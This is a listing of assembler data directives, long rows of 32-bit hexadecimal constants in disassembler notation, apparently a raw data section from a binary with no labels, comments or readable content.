dd 3CB55931h, 1F6D1710h, 0E6A85A51h, 7D3C900Bh, 0AF28097Ah
dd 0E396412Ah, 2820782Fh, 0F49AD25Ah, 50EC0147h, 0AB2031B0h
dd 0D88927EEh, 0E9240E1Eh, 689F4663h, 0E7A36912h, 0CE9EBD00h
dd 0BFE9F9DAh, 50C69459h, 3A3A0FEDh, 52FFCB47h, 0C9060A5Ah
dd 9C0269F5h, 9455F71Eh, 41DF4DB1h, 0BED75C4Ch, 663C3718h
dd 68F10EF7h, 0AE124223h, 5206FD8Eh, 47BD3DE9h, 0DC603AECh
dd 4BC8BB0Ch, 2F797A7Dh, 8F4DD68h, 114464EFh, 426A89FAh
dd 7ADD97E1h, 5B809A82h, 0F6BFBC58h, 0CE3E306Ch, 55C0BD26h
dd 61176727h, 0F36C855Fh, 0D81BB01Dh, 874F59EFh, 0D1F7CF00h
dd 595F5157h, 9F5CB047h, 0E205DC52h, 71B37B55h, 41458DAFh
dd 2FA36E50h, 94D09DB8h, 0D934A121h, 20A7F304h, 998F31ABh
dd 4BB33FC8h, 1FE9688Eh, 0E94EB07Dh, 0BA3E40E8h, 0E4363F17h
dd 4AD2C204h, 16073588h, 0B4C48708h, 5800F1EEh, 89197577h
dd 4E8AE9CDh, 7EB28EE0h, 0F590574Fh, 2F534BEDh, 4DDC4423h
dd 8E9E08A0h, 5C07E958h, 0BDEF3BDh, 9CF5902Fh, 985E5017h
dd 773B4F8Eh, 9421B4ACh, 1933C036h, 3A7ED48Ch, 30BF01ECh
dd 0A4F11072h, 0C3704A37h, 0D2F14382h, 7D3C628Ah, 20D7CA25h
dd 2126C3CFh, 5F662498h, 0F1BD1221h, 92F36B8Eh, 41DBE9C2h
dd 50B02BD7h, 0C9ABBC2Dh, 3560E2F1h, 9E2F654Ah, 39ECCBE1h
dd 814AE02h, 40EED169h, 28203EDCh, 7B42874h, 2B71059Dh
dd 0FC5DE521h, 25170230h, 0CB41E97Ah, 52340723h, 0B768271Ch
dd 86D28932h, 1EC1E6C0h, 9F583401h, 277ED09h, 0A7AD54A1h
dd 5372508Ch, 0FA0102D1h, 755AC976h, 51408871h, 47EC2B9h
dd 89E96FB8h, 4CEAED02h, 4DD23A47h, 1E8710DFh, 0C21F49DFh
dd 8049B85Dh, 0F68901E2h, 53CAFED2h, 0A4DDE2B7h, 4FBA4F5Eh
dd 9E1E86B8h, 0B5F7C91Eh, 13D63304h, 0EF4228E1h, 94637A1Ah
dd 66A200ADh, 0A56846ABh, 20E95F40h, 5BF5622h, 6AF0C56Ch
dd 8BCB5028h, 0C31A954Ah, 2AC83191h, 0FEE916BFh, 6CEE0DC5h
dd 7A41C202h, 0C0B6E2F2h, 9F59CDACh, 0AF7BD166h, 8180E55Bh
dd 303FB450h, 0F406CC80h, 0E9FC28DEh, 0C8380627h, 81E0AFECh
dd 0B4A27A58h, 9F47E9C2h, 53B8F3F2h, 11848BBDh, 852AED38h
dd 0E87CB544h, 0DBF780F3h, 0D408B6E9h, 0FD5C2914h, 0DF874AD4h
dd 30EED7A4h, 0F3BB5365h, 7CBC7F12h, 80112B00h, 0BD018343h
dd 475552BAh, 0D4E904A6h, 5109E9D7h, 3CF43F64h, 5FF85C29h
dd 72B77960h, 5817C728h, 0DCB2F930h, 16C1E4C4h, 1DF0CC00h
dd 7D314E56h, 59EE25D7h, 0BFC49A3h, 0ACFB3113h, 0C87F8497h
dd 0D8300001h, 6B886866h, 6B9CA6B8h, 6658C18Fh, 273F3B0Ch
dd 0A9E8A42Bh, 2137A95h, 191E5553h, 17E4C741h, 0FD2E788Ch
dd 0DF4E7468h, 1CC7F22Ch, 67216D09h, 8BE18FAh, 2A77BC8Ch
dd 0B069EC80h, 3A5F20C6h, 0C4F83124h, 463BEE07h, 0FC42435h
dd 0C5002F75h, 1446580Bh, 0EE300ABDh, 9EE10A7h, 0D8B5613h
dd 54A625Fh, 73835908h, 0C1DB01B4h, 0C0FAEA5Ch, 5E552029h
dd 351E4CBh, 85A62FD5h, 5B2BCBBFh, 1B1226B2h, 553DFA58h
dd 0E9B49C2Ah, 31705A2Fh, 0A4CA03FFh, 0A4E25420h, 0D557914h
dd 45106493h, 0FCDDE932h
dd 5F24E18h, 0C33DFE96h, 0A76AC3E5h, 0C0C3C50Fh, 3A872DFAh
dd 47A43F30h, 68440A90h, 69CA4DB3h, 492F1177h, 3C78B9C7h
dd 151E23Eh, 66A8C981h, 808034F2h, 236E860Ah, 774E52E9h
dd 71F8FE39h, 6FB39C51h, 3F8D7C01h, 28C7FCBEh, 6220F5B8h
dd 0EA6827C0h, 0F681D0F8h, 22D07B24h, 4A8D1BC8h, 7D8A423h
dd 0CF091FB0h, 6FAF1Ah, 9467EF25h, 0F3C89F41h, 6681244Ch
dd 253E1D3Eh, 4AEC4858h, 1352A7Bh, 4AA0E74h, 176FE8F7h
dd 91682080h, 0ED7EE111h, 0E12CD8BCh, 102D809Bh, 3C0B0F13h
dd 791C3301h, 57654689h, 0E3C3442Fh, 0A06802B8h, 60ADDE75h
dd 138F5A22h, 4B58E9A0h, 19DBF72Eh, 2C745303h, 0CE0C0417h
dd 3607E0Eh, 1D554E03h, 0DC1BC618h, 8855E772h, 5B16085Eh
dd 25DDC2A9h, 7B816DFh, 28F57502h, 2FCFA52h, 17A504B3h
dd 0F74142FDh, 0BEF25AA4h, 5A58632Ch, 0C43DB25Ah, 25982B64h
dd 8877405Eh, 0D9DEE2DCh, 72963889h, 4D170C15h, 24DE4695h
dd 425D7214h, 23AA37C5h, 0CC213060h, 0CB0112B8h, 0C9A36759h
dd 847A57Fh, 0F06E04BAh, 44BB357Eh, 939F620h, 6544D75Ch
dd 0AA954F20h, 83DF0F25h, 0F22DAD99h, 0F7B4C8C6h, 0B42FC41Ch
dd 0CFBE1689h, 27B54C29h, 39165DFDh, 0EB4EC4FCh, 5C9621FAh
dd 281E6030h, 0D3CFF358h, 2FCA28EFh, 6B202941h, 503D07BDh
dd 194D5FB9h, 0AFC7EC00h, 1BFA046h, 0B5D5E96Bh, 289A387Fh
dd 5A2CD803h, 8474E168h, 0B585A2FFh, 0A98A85B4h, 0D83831EBh
dd 9239910h, 1A712068h, 0D916552Ah, 12D45E27h, 2713D078h
dd 0DC1C9723h, 22F38102h, 0E035DA60h, 803AB81Fh, 8827D3F6h
dd 0C619FDDDh, 35C23B50h, 1DD07240h, 307E9768h, 0A0B05091h
dd 58C2880Eh, 5BE9222Ch, 0AF918E9Fh, 99EF93CBh, 80BC3A8Eh
dd 3062E9CDh, 3FE13EB4h, 43A1F9ACh, 0FE680098h, 1A42F5Ch
dd 8BFABE41h, 7049E90Fh, 90B904ABh, 0C02E8E57h, 871965A0h
dd 4CF6FEF1h, 25084A08h, 0C75F99D7h, 4BE9CE05h, 677A4DEAh
dd 3A5C35C9h, 48A5C93Ch, 62D48D0Ah, 7A2BFF5Eh, 9EA9E90Ch
dd 2DBFC51Dh, 507B0C74h, 0D510D380h, 0FBA3B8Fh, 46E85A0Ah
dd 954BAFC0h, 53A88057h, 2D80F6B7h, 7750ABE7h, 284AC709h
dd 0F4E8F7F8h, 0B5D1E9h, 7790BBEDh, 5644016Eh, 6A65AFBEh
dd 64AF4037h, 2091762h, 0DA46DEF7h, 13F67E05h, 0EC946FA7h
dd 0D80273B2h, 0A06CE12Dh, 34D6573Eh, 0EC79C35Ah, 0EA9B34D0h
dd 5F71448Eh, 9F392FE9h, 45765140h, 0B41D5BD2h, 754BA49Ch
dd 48A2C78Ch, 0E9B11945h, 0B93A34CCh, 0FD494D05h, 55910973h
dd 80000CECh, 0D89F1EF1h, 90E17343h, 4ACF2F70h, 68E02FBBh
dd 33AB6589h, 0F27757CAh, 0C62C2FEFh, 4581FDEh, 2CC6A11Fh
dd 75C880D2h, 90B45051h, 8EFE58B7h, 76580118h, 0D495A720h
dd 0D417428Ah, 16F28100h, 6DF12450h, 0ABEE0058h, 0C229AD88h
dd 97157CB7h, 0DF2C0404h, 10A0B33Ah, 0B307DA59h, 2CF380A5h
dd 70BD2206h, 0BF0F2704h, 9FE0A20h, 45712C99h, 0F25A3BFAh
dd 261370AAh, 764C132Dh, 1B2F04DEh, 0A5A80B55h, 6E0A0B7Ch
dd 8553604h, 122C07A3h, 0BE614A00h, 7F18131h, 22196995h
dd 881B84E9h, 0A61EE881h, 7DC9E57Eh, 1286ECFCh, 0F35AA468h
dd 160A22E5h, 51E8305Bh, 17DFBA10h, 68BD60C3h, 0B19454D5h
dd 8D7E3A60h, 0DAE91B6Eh, 0CAD01AA3h, 54519851h, 1640B4C6h
dd 9682A3FAh, 0E9A898EAh, 0BA8BFA32h, 8DE5DD5Eh, 8CEE5C17h
dd 0CB5468F8h, 0C409F7AFh, 0FD8C79B1h, 43A5950Fh, 65552139h
dd 2020CD35h, 1F0B06C4h, 0C229641Ch, 7908095Ah, 0BF5742C2h
dd 4C5C6BF7h, 214A145Ah, 62D9C123h, 310B1EC5h, 0DBA54D26h
dd 58C60BBFh, 305F6DB2h, 80BD4D75h, 101FBBBh, 0DE29051Fh
dd 0B26A895Bh, 25C74800h, 53B67E36h, 80A093E2h, 0AC30F0EEh
dd 95E0385Ah, 173C927Fh, 1E21B2BDh, 0E1D493C0h, 0ADA06E4Bh
dd 291012CAh, 893C1F72h, 0EE57A121h, 92DE2DA6h, 0BAB4AE6Eh
dd 7AB9838Bh, 9EEE0CC8h, 0A6AA476Dh, 77B59A40h, 0F6505F39h
dd 0B0791330h, 0F68F90EFh, 8E9A8643h, 0C258909h, 0A0765E62h
dd 141CD008h, 0EE588365h, 0E90B06E7h, 0DBD662A8h, 58B6F273h
dd 96BF0413h, 0FB2E6AB1h, 0DAF7D402h, 0F5DD614Ah, 0C52D9680h
dd 89E61EC2h, 3916E09Fh, 5EDE97F6h, 0D4689C83h, 6AB5E23Fh
dd 6874559Ch, 886C281Ch, 2B2C3808h, 0B5729A3h, 4AD66D13h
dd 8773197h, 59F0F3FEh, 80D59559h, 5B6DA6DCh, 98FAAC76h
dd 0CF86385Ah, 0D2A3E25Bh, 0CFEAE4BBh, 7F8BB55Ah, 0DECC5325h
dd 69BAE970h, 0D15ABA9Dh, 0FD64A1Bh, 162F0D11h, 0D15F586h
dd 679717B0h, 0AFAEBECFh, 0AB7FA5EDh, 9F60DA7Eh, 1188D882h
dd 6052E856h, 0C99A2C2Dh, 0F7DE403Ah, 9B47039Fh, 0EEF45668h
dd 0AC0F4EFCh, 0A044D830h, 30D9CD46h, 48544933h, 0B5045109h
dd 2E09E991h, 7E838EAFh, 17AC8220h, 0FE20762Dh, 5D07605h
dd 0D2E90705h, 0D21FE253h, 22705E03h, 5F902573h, 6FD361C9h
dd 0E13BCAC9h, 3B0148A8h, 0B68C040h, 60225C8Bh, 9E2D100h
dd 774EC315h, 9BF998Ch, 67D810D6h, 3AF66F80h, 0CC10577h
dd 7A9BF5D3h, 3FA1C76Ah, 0B6AB813h, 0F5330F70h, 661CB80h
dd 0EFEC444Ch, 0EB1C630Bh, 2C155821h, 0ACA843EAh, 53F801ACh
dd 6EC08AB3h, 4B3A60B0h, 0B0F3E4BBh, 3C75C713h, 0F3FA13EFh
dd 92544A86h, 752E697Ah, 4700EFABh, 0D509053Fh, 7D24EAB0h
dd 68856AB8h, 0C73439A7h, 0CBE9180h, 0F24B4FB6h, 65AB5B34h
dd 0CBF3FB1Ch, 1E6851C3h, 2C56CBE5h, 86CC2A59h, 618E4199h
dd 0CB4ACA78h, 0BF13CCD7h, 1A20864Eh, 34619783h, 9331FD3Fh
dd 4DC842DAh, 0F8C117B5h, 8C9CF0AFh, 0DA3D4C5Bh, 2102848Bh
dd 0E3800272h, 5A19E4E6h, 61222B9h, 0C92F2489h, 4EC34475h
dd 1379BD30h, 0E88C233Ch, 7D6E12C6h, 0A102AE34h, 56F613DCh
dd 14AA01F0h, 20317227h, 0B94F8543h, 58ADFB61h, 0D4136C76h
dd 7FE2C999h, 0B1B2C1C7h, 4024FC10h, 9749DF2Dh, 90051600h
dd 6803B066h, 8D515EEAh, 4906F809h, 26CABAF5h, 0F74B66C4h
dd 966CE6E0h, 0EA91FE9Fh, 80302F2Dh, 0B980C978h, 5E2B0295h
dd 5BD93139h, 7A2927E1h, 9AC5824Eh, 0D536103h, 4242313Ah
dd 0F1D7C2BCh, 138A819h, 11907163h, 5862BC68h, 7910CAA8h
dd 0F30273A7h, 400E4F14h, 2D8DE455h, 546044E9h, 68EE122Ch
dd 1B0D39FFh, 0A47B6602h, 0E7814294h, 0A86281F9h, 0A53136C5h
dd 0ABC0F748h, 33587E4Fh, 73B7791Ch, 37B6BD19h, 8D0C96A9h
dd 0C11D35Bh, 0E16133C2h, 3A81C318h, 0E2DFEA36h, 48605DD5h
dd 0CB25E941h, 0C949D44Fh, 3905C9F6h, 0D6E85F51h, 0B5E2912Ah
dd 5F7FFE14h, 6F9BFB2Eh, 167CED9Eh, 22278615h, 628F74E1h
dd 9135C431h, 0D749F73Bh, 3EFDC28Dh, 808C53D6h, 0B93DB42Dh
dd 0C54A0102h, 5D482CABh, 0F42C7869h, 6AA9596Fh, 4E03AF1Fh
dd 0A32CF828h, 0AB45BB5Bh, 0EFD0CB91h, 77277E4Fh, 63B16518h
dd 62206EE1h, 80B8D8E9h, 40B4D188h, 55CEDA53h, 5A9330DCh
dd 5CCA6ABCh, 0C0BF80D9h, 314FA22Bh, 0A295A9A4h, 0D57BB66Dh
dd 9B4EAAE6h, 0F835A200h, 902D7C1Fh, 0B5C6F8A2h, 0A361CB22h
dd 20E27809h, 0FF8087FCh, 0CE2E5BC7h, 72281A6Bh, 0F9290881h
dd 6E1A7158h, 4DD42088h, 3405B3B2h, 80571155h, 0EEAAD07Fh
dd 0FF29A825h, 0E041B6B2h, 47BD00C0h, 30710B43h, 2204D5F7h
dd 52A8185Bh, 8D54BDFBh
dd 9FA565CFh, 0F15F28BEh, 23EF824Fh, 3D50C259h, 535F95EEh
dd 0D027D730h, 0F5801FEDh, 0F0D9D7E2h, 0FE9D504Ch, 0B649F3D4h
dd 0E1C10B72h, 0CE070005h, 9DF9F578h, 0CA31FF02h, 0BA9EC6F0h
dd 0CBBB3317h, 4554840h, 78533F6Dh, 365107FAh, 0C3A8619h
dd 0B96C4613h, 2AF71905h, 31B10280h, 3D149DF8h, 0E0D30DC5h
dd 5B2F8109h, 426885BAh, 0C196B83Eh, 0D4F0E967h, 5828A93Ah
dd 9A8A2030h, 3FBD3E3Fh, 0D10C5CB0h, 0B535B0A7h, 3E82DE89h
dd 43046C4h, 840FC90Bh, 2EB0B808h, 2FCAB454h, 16B44408h
dd 2ECEEB5Bh, 3042C700h, 466649C0h, 7CE9531Fh, 0A917F67h
dd 0A893318h, 71E78804h, 3CAC6644h, 0C7300283h, 800F893h
dd 0C0CAB753h, 0E68005EFh, 0CFFE36C6h, 0A5901404h, 5E2FEB25h
dd 2F1252D2h, 4843945Eh, 5DCB048Eh, 0FC546C68h, 751CB3Bh
dd 6B177A87h, 5382CFA4h, 84507B84h, 0EB712C68h, 6467C68Ah
dd 1CF2F053h, 5B044015h, 71E9FB87h, 0C0E744FBh, 855AE204h
dd 0EC978BE9h, 0C875C69Eh, 5FE50573h, 0B373314h, 62040EE2h
dd 1280BFCFh, 0B8E2C142h, 62F026C8h, 7ECDC316h, 36844C4Bh
dd 0C25C90FFh, 6274F09h, 0C0ECC2DDh, 2764C95Ch, 8022679h
dd 75B3577Ah, 41D11D9h, 7C812BFh, 224290ECh, 35602138h
dd 10A13732h, 670F2408h, 8C1B24Eh, 51238247h, 0A3C45C27h
dd 0A3C4924Ah, 7EB6A7BFh, 18BD192Ch, 0DFA86240h, 77C1BF82h
dd 0EBC74846h, 2B61B404h, 0B0AA5930h, 0C35F9ECBh, 232A6244h
dd 6DA6B800h, 29283C7Bh, 0F72CB0C6h, 78C0EDB7h, 0CF2A0471h
dd 1D704F36h, 72CDDF09h, 873A0FC5h, 4F033F4Fh, 0CEB0682Eh
dd 0A9985888h, 3700F6F8h, 1D0D6FAh, 4555EF1h, 9C288968h
dd 0AAF1EF9Fh, 2D39006Bh, 0C563B5D7h, 263DF9B5h, 84622FE2h
dd 0D8AFF657h, 844BAAE9h, 61107716h, 9CE18092h, 981CCC4Dh
dd 19B80947h, 9F778D7h, 0D221DDFAh, 0EA911F1Dh, 6F446B69h
dd 56ED0940h, 0FCCEAAD3h, 5A41FAEEh, 900A24AEh, 3E3B5A9Bh
dd 84DC2D4Ch, 800215CAh, 76D88CCFh, 0BFFAF776h, 4BEC625Ah
dd 0F89488A6h, 0A8CD8C7h, 0C760D2FFh, 46D300F4h, 0F05921DAh
dd 0B4688214h, 6B42F664h, 0DB28C465h, 79524F0Ah, 8A2EB627h
dd 49B7F62Dh, 8A655759h, 0E2306CD0h, 8F169966h, 321C002h
dd 2EA222E9h, 0B755F44Fh, 0AF5B55F3h, 9F89895Fh, 62547C4Ah
dd 2F1B7D22h, 0E4F85ACDh, 1CA8075Bh, 16F3EFE5h, 0B3586354h
dd 0B84E280Eh, 24F198C4h, 0E82F387h, 48AB6340h, 7BA8DC80h
dd 14B0946h, 9C317599h, 2C420AC6h, 92AC2CD2h, 0E11BEC5Ah
dd 372F0A68h, 27BC8F8Bh, 7752567Ch, 0AE5CF260h, 98D04E9Fh
dd 7EB87978h, 4F00B8F6h, 0BE65C42Ch, 148405B7h, 7633FBA3h
dd 0D959A24Fh, 0A450942Fh, 6C3EE207h, 0C981E031h, 0F12F3670h
dd 8888F945h, 0F72DCD13h, 2FC0DA0Fh, 583FA63Ah, 0E5E03509h
dd 0B18FD544h, 6020BB17h, 0C4147F85h, 0BFC59340h, 896F56F6h
dd 0F9A55EC4h, 0FD1929EDh, 7C1096BEh, 3EA5B694h, 277EDE28h
dd 0AFFDA9ECh, 7045096Fh, 333CE743h, 56802A5h, 0E0409170h
dd 202473C1h, 7A25E724h, 6B94204Dh, 6D93BE04h, 0B833BE8h
dd 36E264Eh, 1A4F034Fh, 8C76512Fh, 556EA413h, 72AB44ABh
dd 68660130h, 0FC6B3C71h, 542DE136h, 6BCEF5C2h, 324AADBEh
dd 57C845C2h, 628B7247h, 0C12D1499h, 95167AE4h, 1466026h
dd 2C419D3h, 0A9B72E32h, 8CEFFDACh, 0D7045C92h, 0E61E4238h
dd 345B3736h, 2F01ABF5h, 748C6DDFh, 1412C33Ch, 686E2831h
dd 7D449131h, 0FA04AF4Dh, 35D03141h, 0C3D9E310h, 0E262A030h
dd 0E95A1AA7h, 0D90A4B57h, 2F171E4Fh, 37911CF3h, 362CAB4Eh
dd 30EA2E68h, 9924C4h, 0AC5A88CFh, 0B12DE944h, 8BA6D9A5h
dd 0FA305BF7h, 60827AD3h, 0E202D5F4h, 0AD89B78Eh, 95F0947Dh
dd 0B81B74D1h, 0BF7F0237h, 868B3C1h, 6ACED0C1h, 3DAB7684h
dd 0C1B4028Bh, 680745D4h, 7F0B6BE4h, 43E02C32h, 57763EA1h
dd 811054B7h, 5A15B850h, 66C87038h, 0C245AA63h, 0CEBE854Dh
dd 1CF45A60h, 0E91E4094h, 76078525h, 0AA52650Ch, 0F1513683h
dd 746AAC8Fh, 4A50F853h, 0E96420FFh, 1ABFA017h, 595457F3h
dd 808CD43Bh, 5720EA6Bh, 5B6C0E0Ch, 6D514CCh, 4E3075BDh
dd 21CEC95Ah, 0C3E53AC3h, 676FF06Eh, 130280Dh, 3AEC7AF7h
dd 405B340Dh, 0A90FA02h, 367D52h, 2FDA2D6Ah, 0C7293AC4h
dd 0AF5EBDB8h, 97168C31h, 0C37E0F05h, 477DCFE3h, 508808E1h
dd 77AE6877h, 50AD2AE1h, 757681B5h, 8B86F92h, 80D0F1A2h
dd 0ED0FCAF6h, 654C947Bh, 4EBF9FBDh, 0EB523DA8h, 4D60A060h
dd 0C12B1378h, 88920FE5h, 1E3148B0h, 0D54B38FEh, 0CE3551A3h
dd 0FB4CF3C1h, 63E17BF1h, 31E1092Bh, 0C708ECD5h, 9721A1Eh
dd 0BBE8E555h, 0A790A42Ch, 0D138B76h, 1A53C14h, 4F8041F1h
dd 5B6489EFh, 52A540D2h, 494ECC9Ch, 4A66DDF6h, 619D5EB0h
dd 412A84DFh, 168CE022h, 34E4ED12h, 0B82D68E9h, 0A4991973h
dd 0B83F2C25h, 56A2B5CCh, 0BB9AF4D2h, 68902E06h, 0FB0BBF35h
dd 0B3D2C57Bh, 0AD6B849Dh, 68C2F4B9h, 6C545531h, 0A43B4160h
dd 0BCC09F6Ah, 0E9135D0Ch, 0CEAECAF4h, 0E94961F3h, 0D7C2BE3Bh
dd 216A06D1h, 0E167570Ah, 6D3EEA81h, 17A097Bh, 2F73251Bh
dd 95FF605Eh, 0A5FF6C4Ch, 6EC129BBh, 0BAE44FFCh, 909A58B2h
dd 1396FB57h, 2F6BA11Bh, 411E76CCh, 0F3E83E96h, 0FF783DC3h
dd 128FE8Ch, 8D411377h, 4304FE52h, 0EF128B2Bh, 8A841004h
dd 0D400BF14h, 116810Eh, 68255FFDh, 0BE66D56Eh, 0C15ABB02h
dd 0DE7BE96Dh, 0A843CD4h, 9346DC42h, 1707B2BDh, 642D49C6h
dd 0C7A843A4h, 1A775C25h, 0F8145FD4h, 0EAE98C88h, 0DE177D60h
dd 5620685Bh, 1374FB0Bh, 0EF6A9E2Eh, 0C253ED81h, 0E2D80005h
dd 0F742756Ch, 5DD2DD60h, 903A3054h, 31157871h, 0E9DE9865h
dd 0C14335EBh, 7C97ED0h, 0ECDC15AFh, 0F00DC50Ah, 0A8D8D152h
dd 3B253402h, 7F09BA0Fh, 5D6E0D0h, 3A5998F0h, 9AE8011Ch
dd 0DEE90A08h, 0FF668793h, 77618232h, 89A45376h, 9E17A88h
dd 0EA765F5Eh, 9E01F026h, 3175332Bh, 19BBAD2Bh, 0C04C66ADh
dd 670CBA30h, 80D00B50h, 0C708B004h, 800C17B3h, 38526AEFh
dd 0D73B2BB2h, 0CFFE5A0Fh, 30ABB621h, 0E1930F7h, 0D8EBEFC1h
dd 60FE695Eh, 332ECD67h, 21FA2436h, 90E3FFECh, 9DEF307Ah
dd 47665D14h, 0E775D1E4h, 7C301FB0h, 77CF0A23h, 0C15C14Ch
dd 3836E9CBh, 315813A5h, 1BA6214h, 4A45411Dh, 4360FA01h
dd 0A1ADBA3Fh, 0C875E773h, 0E2A7863Ch, 185D36F0h, 2C6F2D60h
dd 2D009C5h, 95B9E9DDh, 7982445Fh, 91972A53h, 3EE248A0h
dd 1F7E9B10h, 96C9C9FEh, 0C1801A45h, 2F20DEE7h, 0F1557F65h
dd 5F00C27Ch, 8306E2C1h, 0DABFFFEAh, 0D6155912h, 4782B902h
dd 1B7646E5h, 2EA2BC0Bh, 0ED37C677h, 72F2BF0Ch, 0E516BCB0h
dd 0D1BAC2F0h, 2B336C47h, 680A45E7h, 92BA5C4Dh, 0EA42900Eh
dd 0FA245D34h, 211C9B30h, 0E9548561h, 183DB87Fh, 917ECB01h
dd 62F09608h, 0A7B04EBCh, 9394AEDCh, 328A554Bh, 82C091Ch
dd 5366D800h, 202EC7B3h, 0C02721DDh, 82B5BEC8h, 3F3BF080h
dd 89416E99h, 0A1419565h, 64D97291h, 83328AA8h, 0FC59D108h
dd 0F43FA025h, 833D5B9Dh, 2D4800E8h, 29D57482h, 0F51F0235h
dd 0F6E96CD3h, 0AC093858h, 5C469268h, 0D44F6206h, 13E4E77Dh
dd 44DF946h, 0FF29D4F6h
dd 58D8DF82h, 58679770h, 296DEB3h, 5358C363h, 66425B59h
dd 823A6A75h, 7ADF400Ch, 0C32C2767h, 605AD456h, 0D28CD9BFh
dd 0FDB3EB28h, 0CB1D492h, 5B1288DDh, 4FDF8718h, 2615B09Ah
dd 1E6D3FADh, 0D30F02A8h, 76B9F829h, 52C26A5Dh, 0DF06758Fh
dd 0E49F7675h, 3F1B9870h, 833CFB5Fh, 1623B44Eh, 6EE4994Fh
dd 6D7E0B3Eh, 0E15C4359h, 24D1E300h, 4AE90577h, 316F09C0h
dd 919C1A40h, 1713C388h, 0B901601Ch, 0E908403Dh, 668B8A2Dh
dd 48E82035h, 0E31C817Eh, 3BBAF1Eh, 5A2E72E1h, 58ECDA6Ah
dd 0CB80135Dh, 2849BE0Ch, 0A75C8512h, 4FECB0C3h, 1264FF78h
dd 0A11C90FEh, 0BDF6DF06h, 590BA568h, 27DBCA08h, 685638F7h
dd 69A4B684h, 1FC7105h, 0FB55E26Fh, 370C826Ah, 0E1524D80h
dd 74205BEFh, 51A5A4B3h, 0A97BBDB6h, 86159F16h, 3FC24082h
dd 47C69D12h, 0B3CBFB21h, 0F1626602h, 0A1A682DFh, 0BB95D1Ch
dd 54C33482h, 5AA65D5Ah, 45F701CBh, 0B37985Eh, 0DE5A8859h
dd 6BB1282Ch, 1E020D2Bh, 32E6BCE2h, 6814E0E6h, 0A13A1680h
dd 975479E9h, 4E3F31E4h, 0F1BBBC2Eh, 0F310983Ah, 53247D50h
dd 0C100AD7Eh, 290C4D1Ch, 807C90DFh, 12215B08h, 0F16EE9F8h
dd 255E0A4Bh, 0A7F8FC7Ah, 9184BC5Fh, 92D28893h, 5BB95100h
dd 0FF0D1056h, 0D03F306Ch, 0CD0CEB44h, 0B05FB106h, 6034730Ah
dd 6D460C28h, 94F1BC5h, 16C7BF00h, 52D67C0h, 14E9F921h
dd 0F097567Bh, 0E17A872h, 21EB4EADh, 0AF86FBA4h, 2BFA4067h
dd 2A46250Fh, 0DC58334Ch, 60ED80D2h, 0F647C502h, 2776BC17h
dd 3F4C7D71h, 0BDB6E6E9h, 68C17D5Ch, 0B23F56D9h, 62359A78h
dd 19217D27h, 2CBC88E9h, 9A568ACBh, 0D1506917h, 0C9C60387h
dd 0B00C434Dh, 346BF2E6h, 0EB18382Bh, 0BB85D321h, 225D5B01h
dd 7E2130Eh, 0FD5E7B32h, 0E775FCE2h, 0A0361335h, 5E09BEDCh
dd 7D4878C4h, 9FCD8982h, 0A102C90Ah, 68612D50h, 0B75F359h
dd 194CB95h, 0E71D9F98h, 426DD9B7h, 49E8CE19h, 2E00A40Dh
dd 2B05072Dh, 2EE704F4h, 1443C689h, 2884EA7h, 3FCC55A5h
dd 4EEEB4BDh, 0BA0ED430h, 37747907h, 0DDD20917h, 5A1AC861h
dd 0F3A75E68h, 76548FDh, 379815A4h, 7F092CE2h, 33FE6698h
dd 34AD4Ch, 971C30F7h, 4BB0E9B5h, 4AFCCA7Ah, 2179D1AFh
dd 50B20172h, 0A706E02Eh, 8280D6AAh, 2BC8083Dh, 5E36D895h
dd 80F6B931h, 3BE9CF01h, 5279971Fh, 8FA6103Ch, 6EFC116h
dd 5159FE12h, 9012E197h, 19A66803h, 86416490h, 176A79E8h
dd 0EA5F24C6h, 32EF8400h, 9517CC44h, 572C8F78h, 0F2DBF53h
dd 0AA04526Fh, 0F6EFAFF1h, 6352245Eh, 25EE5AE4h, 50C7A0F6h
dd 0F7E88825h, 99D32602h, 0FF5B247Ah, 0B9A9BA31h, 805E2C79h
dd 9C63E16Bh, 13F80B5Ah, 0D2778AB2h, 683C0BBDh, 8E446746h
dd 55095279h, 0B20022Fh, 0B9E87F23h, 6C9D6318h, 0E9530849h
dd 7D256544h, 0E5D1078Bh, 0E6F25596h, 4F4E697h, 3FD7175h
dd 3BFF819h, 4C5A1552h, 4B07B9DAh, 0A2603E4Ah, 5A7F8245h
dd 48535D94h, 0D350604h, 0EA84AF3Bh, 628D0713h, 0B5894BECh
dd 5967CAAFh, 6F0CFC46h, 4F3D4A07h, 42D2C101h, 0B14667Bh
dd 311353EAh, 0EE14FA7Eh, 8D125008h, 2FABF24Eh, 6C68092Eh
dd 5A0E9221h, 4CC105DEh, 0ECC47A0Eh, 4468092Dh, 0A996D56Bh
dd 0BAC4294Bh, 0D2EEE2BEh, 9F1149F4h, 4D579109h, 2F89A4FFh
dd 0E961D674h, 7734D2BBh, 0A6D05E28h, 0A8B65120h, 43FAEDB1h
dd 81155800h, 1270EBC2h, 2512B72Bh, 5432F457h, 57C3E924h
dd 0A08CD1A7h, 1BCB0BC5h, 73B16098h, 136BF05Ch, 685524C1h
dd 0B1694BBBh, 0E152E0A5h, 405F1510h, 0F7C3142h, 237010BEh
dd 65A6F187h, 9AC80750h, 655F0988h, 0F45618D8h, 580D6FB9h
dd 0BBDBE57h, 235E0E40h, 292F10FFh, 5A0840D6h, 84E67E9Fh
dd 0D873AA68h, 0D040580h, 0F9016482h, 2418BAAh, 4E45D6E9h
dd 25327506h, 8B5A6577h, 2CB42192h, 9802BA20h, 49FD0FE0h
dd 5264796Eh, 9E07A898h, 0C8ABCE0Bh, 1F02645Eh, 98595D33h
dd 0AEF3C6D7h, 7F890596h, 0A5345E4Fh, 0C2607070h, 6D1EF73Bh
dd 0F43B584Dh, 0B8A48F40h, 9324B12h, 5EE85BD6h, 35C0AEE6h
dd 9F7AFEEBh, 9B0CC172h, 703E779h, 3EA50B51h, 1AD5D42Ah
dd 14010C08h, 7C27AD68h, 701ECBFFh, 9D17A096h, 2D3B987h
dd 0BA061791h, 253FD2DFh, 7C0E9EE9h, 916EF6A6h, 702BF300h
dd 0BD555763h, 549C0644h, 0C5B3E94Fh, 84235A4Ch, 0F018BFBh
dd 7251C0B7h, 0BECB100Eh, 1841B44Bh, 0EDD27A13h, 35E9CFF0h
dd 90975285h, 434C9B99h, 0E12A287Dh, 0D02FADBAh, 57179A5Ah
dd 6B371D82h, 0CA60B8FDh, 327D95A6h, 7146FFE3h, 0C8B7DD98h
dd 9491DC3Ah, 0B85696C0h, 4D990C8Ch, 41DE1EDBh, 0DF80E2EFh
dd 0D62A0CFAh, 2DE8093Fh, 70374248h, 2D687BEEh, 45D84E34h
